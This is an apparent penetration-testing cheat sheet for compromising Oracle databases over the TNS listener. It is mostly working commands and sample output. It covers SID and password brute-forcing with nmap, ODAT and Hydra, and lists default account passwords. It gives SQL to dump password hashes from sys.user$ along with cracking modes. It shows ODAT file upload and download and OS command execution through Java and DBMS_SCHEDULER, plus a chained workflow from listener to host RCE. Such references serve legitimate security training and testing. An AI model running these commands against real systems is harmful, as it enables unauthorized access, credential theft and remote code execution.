Oracle TNS

TL;DR

Oracle Database uses the TNS (Transparent Network Substrate) protocol on TCP 1521 by default. Unlike MySQL/MSSQL, you connect to a listener on 1521 which then routes you to a specific SID (System Identifier) or Service Name - each representing a database instance. Recon goes in two stages: enumerate the listener, find valid SIDs, then test credentials per SID.

# 1. Service scan
nmap -sV -sC -p1521 --script oracle-tns-version,oracle-sid-brute <target>

# 2. SID brute-force (via ODAT)
odat sidguesser -s <target> -p 1521

# 3. Default-credential test against each found SID
odat passwordguesser -s <target> -p 1521 -d <SID> --accounts-file accounts.txt

# 4. Connect with valid creds
sqlplus user/password@<target>:1521/<SID>

# 5. Run SQL
SQL> select * from session_privs;
SQL> select username, password from sys.user$ where password is not null;

Success indicator: ODAT returns one or more valid SID:user/password triples; sqlplus connects; select user from dual returns the authenticated username.

Protocol overview

Oracle’s networking stack is layered:

Client                                  Oracle Server
  ↓                                       ↓
TNS Listener (on 1521 by default)
  ↓                                       ↓
Specific database instance (SID / service)
  ↓                                       ↓
Schema (user account) within that instance

The TNS Listener is the gatekeeper - it answers on 1521, accepts a connect packet that names a SID or Service Name, and either forwards the connection to that instance or returns an error.

Term	Meaning
TNS	Transparent Network Substrate - Oracle’s network protocol
Listener	The daemon that accepts incoming connections on 1521
SID (System Identifier)	Unique name for a database instance (a running Oracle process)
Service Name	Alias that can refer to one or more instances (used in RAC clusters)
Schema	A user account with its own owned objects (tables, views, procedures)
Privilege	Permission to perform operations (CREATE TABLE, SELECT, etc.)
Role	Bundle of privileges granted as a unit (DBA, RESOURCE, CONNECT)

A connection string is user/password@host:port/SID or user/password@host:port/service_name.

Default SIDs by Oracle version

Different versions ship with different default SIDs. Brute-force lists should cover common candidates:

Version / Edition	Common default SIDs
Oracle 8 / 9i	ORCL
Oracle 10g / 11g (Enterprise)	ORCL
Oracle 11g XE (Express)	XE
Oracle 12c+	ORCL, ORCLCDB (container DB), ORCLPDB1 (pluggable)
Oracle Application Server	OAS, IAS
Oracle Database Cloud	cdb1, <custom>

The list of well-known SIDs bundled with ODAT covers the common cases plus thousands of installer-default and customer-encountered values.

Default Oracle accounts

Many default accounts ship with well-known passwords and weren’t always locked in older versions:

Username	Default password	Role
SYS	CHANGE_ON_INSTALL, MANAGER	DBA
SYSTEM	MANAGER	DBA
DBSNMP	DBSNMP	OEM monitoring
OUTLN	OUTLN	Stored outlines
MGMT_VIEW	MGMT_VIEW	OEM
SCOTT	TIGER	Demo (legendary)
HR	HR	Demo schema
OE	OE	Order Entry demo schema
XDB	XDB, CHANGE_ON_INSTALL	XML DB
MDSYS	MDSYS	Spatial
CTXSYS	CTXSYS	Text

A comprehensive list lives in ODAT’s accounts.txt - about 600 username/password pairs covering Oracle defaults across versions and installed components.

Default configuration

The TNS Listener’s config (/u01/app/oracle/product/<version>/network/admin/listener.ora) defines which SIDs the listener serves:

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521))
    )
  )

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = ORCL)
      (ORACLE_HOME = /u01/app/oracle/product/19.0.0/dbhome_1)
    )
  )

Modern Oracle versions (11g+) use dynamic service registration - instances register themselves with the listener at startup, and SID_LIST_LISTENER may be empty in the config file while the listener still serves multiple SIDs.

The status command (lsnrctl status) shows registered services - when you have local access. Externally, you query the listener via TNS.

Dangerous settings

Setting	What it enables
Listener exposed on 0.0.0.0:1521	Public-internet reachable database listener
No LOCAL_OS_AUTHENTICATION_<listener_name> = OFF	Allows SET CURRENT_LISTENER ... style commands (pre-11g vulnerability)
Unlocked default accounts	SYS/CHANGE_ON_INSTALL, SYSTEM/MANAGER, SCOTT/TIGER and friends still active
REMOTE_OS_AUTHENT = TRUE	Trusts remote OS authentication - fairly easy to forge
O7_DICTIONARY_ACCESSIBILITY = TRUE	Backward-compat setting that exposes the data dictionary to non-DBA users
Granted PUBLIC excessive privileges	Anyone authenticated can do operations they shouldn’t
DBMS_LDAP and friends not revoked from PUBLIC	Anyone authenticated can make outbound LDAP/HTTP connections from the DB
utl_file_dir = * (deprecated but still seen)	Old file-access setting - any path readable/writable by Oracle process
CREATE ANY DIRECTORY granted to non-DBAs	File-system access via directory objects

The combination of “exposed on the network” + “default accounts not locked” is the most common Oracle finding in practice. The combination of “credentialed access with DBA” + dbms_xdb_config, utl_http, or utl_file is the path from “I have credentials” to “I read/write arbitrary files on the host.”

Footprinting commands

Service scan and version probe

sudo nmap -sV -sC -p1521 10.129.14.128

PORT     STATE SERVICE VERSION
1521/tcp open  oracle-tns Oracle TNS Listener 11.2.0.2.0 (unauthorized)

The version (11.2.0.2.0) is volunteered by the listener without authentication. Cross-reference for known CVEs.

sudo nmap -sV -p1521 --script "oracle-tns-version,oracle-sid-brute" 10.129.14.128

PORT     STATE SERVICE VERSION
1521/tcp open  oracle-tns Oracle TNS Listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute:
|   ORCL
|   XE
|_  PLSExtProc

NSE’s oracle-sid-brute walks a built-in wordlist. It’ll find common SIDs quickly.

SID enumeration with ODAT

ODAT (Oracle Database Attacking Tool) is the operator’s Swiss Army knife for Oracle:

odat sidguesser -s 10.129.14.128 -p 1521

[+] We found 2 SIDs
[+] SIDs found:
    - XE
    - PLSExtProc

The default wordlist contains thousands of SIDs. For a wider sweep, point --sids-file at a custom list.

# All-version brute (slower but comprehensive)
odat all -s 10.129.14.128 -p 1521

odat all runs every applicable check - sidguesser, passwordguesser, listener exploits, version-specific vulnerabilities - in sequence.

Password brute-force per SID

Once you have SIDs, brute-force credentials against each:

odat passwordguesser -s 10.129.14.128 -p 1521 -d XE \
  --accounts-file accounts.txt

[+] Valid credential : SYSTEM/manager
[+] Valid credential : SCOTT/tiger

The included accounts.txt covers the standard Oracle defaults. For environments where the admin set custom passwords, supplement with the engagement-specific password list - same approach as any other database brute-force.

The Hydra option:

hydra -L users.txt -P passwords.txt oracle-listener://10.129.14.128 \
  -s 1521 -F -t 4

Connecting with sqlplus

sqlplus SYSTEM/[email protected]:1521/XE

If sqlplus isn’t installed locally, use Oracle Instant Client (rpm/deb from Oracle) or sqlcl (Java-based, more portable). On Kali, apt install oracle-sqldeveloper provides a usable client.

Connection options:

# As SYSDBA (full DBA, requires SYSDBA privilege grant)
sqlplus SYS/[email protected]:1521/XE as sysdba

# As SYSOPER (operations role)
sqlplus user/password@target/SID as sysoper

# Service name instead of SID (separated by /)
sqlplus user/password@//target:1521/service.name

# Using TNS alias from tnsnames.ora
sqlplus user/password@my_alias

Database enumeration

SQL> show user;
USER is "SYSTEM"

-- All schemas / database users
SQL> select username from all_users;
USERNAME
-------------------
SYS
SYSTEM
ANONYMOUS
APEX_PUBLIC_USER
CTXSYS
HR
MDSYS
SCOTT
XDB

-- Tables you can access
SQL> select owner, table_name from all_tables where owner not in
     ('SYS','SYSTEM','MDSYS','CTXSYS','XDB','APEX_040000','APEX_PUBLIC_USER');

-- Columns in a specific table
SQL> select column_name, data_type from all_tab_columns
     where owner = 'HR' and table_name = 'EMPLOYEES';

-- Your effective privileges
SQL> select * from session_privs;
SQL> select * from user_role_privs;

-- All system privileges granted (system-wide audit)
SQL> select grantee, privilege from dba_sys_privs where grantee = 'SCOTT';

Password hash extraction

Oracle stores hashes in SYS.USER$:

SQL> select name, password from sys.user$ where password is not null;
NAME            PASSWORD
--------------- ----------------
SYS             5638228DAF52805F
SYSTEM          D4DF7931AB130E37
SCOTT           F894844C34402B67

Older hashes (Oracle ≤10g) are the DES-based password column - crackable with hashcat -m 3100.

Newer hashes (11g+) live in the spare4 column with multiple formats:

SQL> select name, spare4 from sys.user$ where spare4 is not null;
NAME            SPARE4
--------------- ----------------------------------------------------------
SYSTEM          S:0E78EF<...>;H:F0E07<...>;T:5A1<...>

• S: prefix - SHA-1 with salt, hashcat -m 112
• H: prefix - older MD5-based, hashcat -m 3100-related
• T: prefix - Oracle 12c+ SHA-512 with PBKDF2, hashcat -m 12300

ODAT can dump these directly:

odat passwordstealer -s 10.129.14.128 -d XE -U SYSTEM -P manager

File read/write with ODAT

When you have a CREATE ANY DIRECTORY privilege (DBA has it, many other roles have it too):

# Upload a file
odat utlfile -s 10.129.14.128 -d XE -U SYSTEM -P manager \
  --putFile C:/temp shell.exe /tmp/shell.exe

# Download a file
odat utlfile -s 10.129.14.128 -d XE -U SYSTEM -P manager \
  --getFile C:/ boot.ini ./boot.ini

# External-table read (works with lower privileges sometimes)
odat externaltable -s 10.129.14.128 -d XE -U SYSTEM -P manager \
  --getFile /etc passwd ./passwd

The dbms_advisor module can also reach the file system in certain configurations.

RCE via Oracle

Multiple paths exist depending on version and privileges:

# Java payload (Oracle 11g+, requires javaPrivilegeGrants)
odat java -s 10.129.14.128 -d XE -U SYSTEM -P manager \
  --exec /tmp 'id > /tmp/out'

# CTXSYS.DRILOAD (Oracle 10g vulnerability)
odat ctxsys -s 10.129.14.128 -d XE -U SCOTT -P tiger

# Scheduler (DBMS_SCHEDULER) to run OS commands
odat dbmsscheduler -s 10.129.14.128 -d XE -U SYSTEM -P manager \
  --exec 'cmd.exe /c whoami > C:\\temp\\out.txt'

Each module has its own privilege requirements; odat all enumerates which modules will work given your current credentials.

Common chained workflows

Listener → SIDs → default creds → DBA → host RCE:

1. nmap confirms listener on 1521
2. odat sidguesser finds XE
3. odat passwordguesser finds SYSTEM/manager
4. ODAT confirms DBA role
5. odat externaltable or odat dbmsscheduler for file read or RCE

App credentials in config → low-priv access → privilege escalation:

1. Find Oracle creds in a web app config or filesystem
2. Login as the application user (often with limited grants)
3. Test for known Oracle CVE privilege escalation paths (CREATE PROCEDURE/AUTHID DEFINER abuse)
4. Escalate to DBA, repeat the DBA workflow

File read → tnsnames.ora → discover other DBs:

1. With file-read primitive, fetch tnsnames.ora from $ORACLE_HOME/network/admin/
2. The file lists aliases for all databases the host knows about - internal DBs, replicas, dev/staging
3. Add each newly-discovered TNS target to your scan list

Quick reference

Task	Command
Service scan	nmap -sV --script oracle-tns-version,oracle-sid-brute -p1521 <target>
SID brute	odat sidguesser -s <target> -p 1521
Password brute	odat passwordguesser -s <target> -p 1521 -d <SID> --accounts-file accounts.txt
Run all checks	odat all -s <target> -p 1521
sqlplus connect	sqlplus user/pass@<target>:1521/<SID>
sqlplus as DBA	sqlplus user/pass@<target>:1521/<SID> as sysdba
Current user	SELECT user FROM dual;
List schemas	SELECT username FROM all_users;
List tables	SELECT owner, table_name FROM all_tables;
Current privileges	SELECT * FROM session_privs;
Dump hashes	SELECT name, password, spare4 FROM sys.user$;
File read	odat utlfile ... --getFile <dir> <file> <localpath>
File write	odat utlfile ... --putFile <localpath> <remotedir> <remotefile>
RCE via scheduler	odat dbmsscheduler ... --exec '<command>'